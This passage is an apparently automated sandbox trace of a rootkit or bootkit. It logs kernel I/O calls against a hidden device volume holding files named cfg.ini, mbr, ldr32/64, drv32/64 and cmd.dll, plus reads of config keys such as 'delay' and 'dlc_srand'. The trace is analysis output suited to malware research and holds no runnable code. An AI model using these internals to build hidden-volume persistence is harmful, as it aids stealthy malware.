_Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.900] KeEnterCriticalRegion () [0127.900] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.900] ExFreePoolWithTag (P=0xfffffa8003bfc200, Tag=0x0) [0127.900] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.900] KeLeaveCriticalRegion () [0127.900] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.900] ReleaseMutex (hMutex=0xf0) returned 1 [0127.900] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.900] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.900] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.900] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.900] KeEnterCriticalRegion () [0127.900] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.900] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.900] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.900] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.901] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.901] IdePortDispatch () returned 0x103 [0127.901] KeWaitForMutexObject () returned 0x0 [0127.901] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.901] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.901] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.901] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.901] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.901] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.901] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.901] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.901] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.901] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.901] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.901] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.901] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.901] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.901] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.901] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.901] KeLeaveCriticalRegion () [0127.901] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.901] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.901] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.901] KeEnterCriticalRegion () [0127.901] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.901] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.901] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.901] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.902] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.902] IdePortDispatch () returned 0x103 [0127.902] KeWaitForMutexObject () returned 0x0 [0127.902] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.902] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.902] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.902] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.902] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.902] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.902] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.902] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.902] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.902] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.902] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.902] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.902] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.902] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.902] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.902] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.902] KeLeaveCriticalRegion () [0127.902] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.902] ReleaseMutex (hMutex=0x100) returned 1 [0127.902] Sleep (dwMilliseconds=0x2bf20) [0127.911] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f6ec170, dwHighDateTime=0x1d24fa4)) [0127.911] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.911] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.911] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.911] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.911] KeEnterCriticalRegion () [0127.911] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.911] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.911] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.911] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.911] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.911] IdePortDispatch () returned 0x103 [0127.911] KeWaitForMutexObject () returned 0x0 [0127.911] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.911] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.912] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.912] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.912] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.912] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfd5c0 [0127.912] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.912] KeLeaveCriticalRegion () [0127.912] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.912] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.912] KeEnterCriticalRegion () [0127.912] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.912] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.912] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.912] KeLeaveCriticalRegion () [0127.912] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.912] KeEnterCriticalRegion () [0127.912] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.912] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.912] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.912] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.912] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.912] IdePortDispatch () returned 0x103 [0127.912] KeWaitForMutexObject () returned 0x0 [0127.912] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.912] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.912] KeLeaveCriticalRegion () [0127.912] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.913] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.913] KeEnterCriticalRegion () [0127.913] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.913] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c65000 [0127.913] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.913] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.913] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.913] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.913] IdePortDispatch () returned 0x103 [0127.913] KeWaitForMutexObject () returned 0x0 [0127.913] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.913] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.913] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.913] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.913] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.913] IdePortDispatch () returned 0x103 [0127.914] KeWaitForMutexObject () returned 0x0 [0127.914] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.914] KeLeaveCriticalRegion () [0127.914] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.914] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.914] KeEnterCriticalRegion () [0127.914] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.914] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.914] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.914] KeLeaveCriticalRegion () [0127.914] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.914] KeEnterCriticalRegion () [0127.914] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.915] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.915] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfd680, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.915] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.915] KeLeaveCriticalRegion () [0127.915] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.915] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.915] KeEnterCriticalRegion () [0127.915] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.915] ExFreePoolWithTag (P=0xfffffa8003bfd5c0, Tag=0x0) [0127.915] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.915] KeLeaveCriticalRegion () [0127.915] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.915] ReleaseMutex (hMutex=0xf0) returned 1 [0127.915] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.915] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.915] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.915] KeEnterCriticalRegion () [0127.915] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.915] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.915] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.915] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.915] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.915] IdePortDispatch () returned 0x103 [0127.915] KeWaitForMutexObject () returned 0x0 [0127.916] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.916] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.916] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.916] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.916] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.916] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfc5b0 [0127.916] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.916] KeLeaveCriticalRegion () [0127.916] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.916] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.916] KeEnterCriticalRegion () [0127.916] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.916] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.916] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.916] KeLeaveCriticalRegion () [0127.916] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.916] KeEnterCriticalRegion () [0127.916] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.916] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.916] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.916] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.916] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.916] IdePortDispatch () returned 0x103 [0127.916] KeWaitForMutexObject () returned 0x0 [0127.916] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.917] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.917] KeLeaveCriticalRegion () [0127.917] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.917] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.917] KeEnterCriticalRegion () [0127.917] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.917] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c66000 [0127.917] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.917] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.917] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.917] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.917] IdePortDispatch () returned 0x103 [0127.917] KeWaitForMutexObject () returned 0x0 [0127.917] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.917] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.917] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.917] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.917] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.917] IdePortDispatch () returned 0x103 [0127.917] KeWaitForMutexObject () returned 0x0 [0127.918] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.918] KeLeaveCriticalRegion () [0127.918] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.918] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.918] KeEnterCriticalRegion () [0127.918] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.918] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.918] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.918] KeLeaveCriticalRegion () [0127.918] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.918] KeEnterCriticalRegion () [0127.918] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.918] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.918] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.919] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.919] KeLeaveCriticalRegion () [0127.919] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.919] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.919] KeEnterCriticalRegion () [0127.919] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.919] ExFreePoolWithTag (P=0xfffffa8003bfc5b0, Tag=0x0) [0127.919] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.919] KeLeaveCriticalRegion () [0127.919] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.919] ReleaseMutex (hMutex=0xf0) returned 1 [0127.919] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.919] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.919] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.919] KeEnterCriticalRegion () [0127.919] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.919] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.919] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.919] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.919] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.919] IdePortDispatch () returned 0x103 [0127.919] KeWaitForMutexObject () returned 0x0 [0127.919] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.919] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.919] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.919] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.920] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.920] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037daa30 [0127.920] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.920] KeLeaveCriticalRegion () [0127.920] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.920] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.920] KeEnterCriticalRegion () [0127.920] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.920] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.920] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.920] KeLeaveCriticalRegion () [0127.920] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.920] KeEnterCriticalRegion () [0127.920] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.920] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.920] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.920] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.920] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.920] IdePortDispatch () returned 0x103 [0127.920] KeWaitForMutexObject () returned 0x0 [0127.920] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.920] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.920] KeLeaveCriticalRegion () [0127.920] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.920] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.921] KeEnterCriticalRegion () [0127.921] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 